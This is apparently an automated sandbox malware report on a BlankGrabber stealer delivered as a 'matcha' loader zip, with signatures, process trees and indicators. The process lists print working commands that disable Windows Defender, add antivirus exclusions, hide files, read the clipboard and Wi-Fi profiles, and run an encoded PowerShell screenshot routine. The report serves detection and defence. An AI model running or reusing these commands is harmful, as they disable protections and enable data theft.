Malware Analysis Report

2024-11-15 09:55

Sample ID 241110-e31edsyqfs
Target matcha-version-b7eebc919e96477a.zip
SHA256 0cf7211f99b8aab9d62160266425b6413b4f5050778bbbfcdd916fb1fd57d0d2
Tags
vmprotect blankgrabber upx collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

0cf7211f99b8aab9d62160266425b6413b4f5050778bbbfcdd916fb1fd57d0d2

Threat Level: Known bad

The file matcha-version-b7eebc919e96477a.zip was found to be: Known bad.

Malicious Activity Summary

vmprotect blankgrabber upx collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

A stealer written in Python and packaged with Pyinstaller

Blankgrabber family

Command and Scripting Interpreter: PowerShell

Loads dropped DLL

VMProtect packed file

Reads user/profile data of web browsers

Unsecured Credentials: Credentials In Files

Executes dropped EXE

Clipboard Data

Accesses cryptocurrency files/wallets, possible credential harvesting

Obfuscated Files or Information: Command Obfuscation

Legitimate hosting services abused for malware hosting/C2

Looks up external IP address via web service

Enumerates processes with tasklist

UPX packed file

Hide Artifacts: Hidden Files and Directories

System Network Configuration Discovery: Wi-Fi Discovery

Enumerates physical storage devices

Unsigned PE

Event Triggered Execution: Netsh Helper DLL

Browser Information Discovery

Detects videocard installed

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Gathers system information

Suspicious use of AdjustPrivilegeToken

Views/modifies file attributes

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-10 04:28

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

VMProtect packed file

vmprotect
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-10 04:28

Reported

2024-11-10 04:31

Platform

win7-20240729-en

Max time kernel

32s

Max time network

34s

Command Line

"C:\Users\Admin\AppData\Local\Temp\loader.exe"

Signatures

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A

Processes

C:\Users\Admin\AppData\Local\Temp\loader.exe

"C:\Users\Admin\AppData\Local\Temp\loader.exe"

C:\Users\Admin\AppData\Local\Temp\loader.exe

"C:\Users\Admin\AppData\Local\Temp\loader.exe"

C:\Windows\explorer.exe

"C:\Windows\explorer.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\_MEI18562\python311.dll

MD5 1e76961ca11f929e4213fca8272d0194
SHA1 e52763b7ba970c3b14554065f8c2404112f53596
SHA256 8a0c27f9e5b2efd54e41d7e7067d7cb1c6d23bae5229f6d750f89568566227b0
SHA512 ec6ed913e0142a98cd7f6adced5671334ec6545e583284ae10627162b199e55867d7cf28efeaadce9862c978b01c234a850288e529d2d3e2ac7dbbb99c6cde9b

memory/2832-23-0x000007FEF67C0000-0x000007FEF6DAA000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-10 04:28

Reported

2024-11-10 04:32

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\loader.exe"

Signatures

Clipboard Data

collection
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\_MEI41602\rar.exe N/A

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Enumerates processes with tasklist

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Hide Artifacts: Hidden Files and Directories

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A

System Network Configuration Discovery: Wi-Fi Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4160 wrote to memory of 3504 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Users\Admin\AppData\Local\Temp\loader.exe
PID 4160 wrote to memory of 3504 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Users\Admin\AppData\Local\Temp\loader.exe
PID 3504 wrote to memory of 2864 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 2864 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 60 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 60 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 2748 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 2748 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 2312 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 2312 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 4476 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 4476 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 2748 wrote to memory of 3952 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2748 wrote to memory of 3952 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2864 wrote to memory of 3944 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2864 wrote to memory of 3944 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 60 wrote to memory of 1940 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 60 wrote to memory of 1940 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2312 wrote to memory of 1508 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2312 wrote to memory of 1508 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4476 wrote to memory of 4384 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4476 wrote to memory of 4384 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3504 wrote to memory of 912 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 912 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 4448 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 4448 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 688 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 688 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 1744 wrote to memory of 1008 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1744 wrote to memory of 1008 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2420 wrote to memory of 4348 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2420 wrote to memory of 4348 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3504 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 2696 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 2696 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 3312 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 3312 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 912 wrote to memory of 2816 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 912 wrote to memory of 2816 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4448 wrote to memory of 4908 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4448 wrote to memory of 4908 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 688 wrote to memory of 4164 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wbem\wmiprvse.exe
PID 688 wrote to memory of 4164 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wbem\wmiprvse.exe
PID 2856 wrote to memory of 2228 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 2856 wrote to memory of 2228 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 3312 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3312 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2696 wrote to memory of 4344 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 2696 wrote to memory of 4344 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 3504 wrote to memory of 2124 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 2124 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 2124 wrote to memory of 1236 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 2124 wrote to memory of 1236 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3504 wrote to memory of 1008 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 1008 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 1008 wrote to memory of 1992 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1008 wrote to memory of 1992 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 2240 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe
PID 3504 wrote to memory of 2240 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\system32\cmd.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\loader.exe

"C:\Users\Admin\AppData\Local\Temp\loader.exe"

C:\Users\Admin\AppData\Local\Temp\loader.exe

"C:\Users\Admin\AppData\Local\Temp\loader.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\loader.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\loader.exe""

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏   .scr'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\loader.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏   .scr'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\attrib.exe

attrib +h +s "C:\Users\Admin\AppData\Local\Temp\loader.exe"

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBk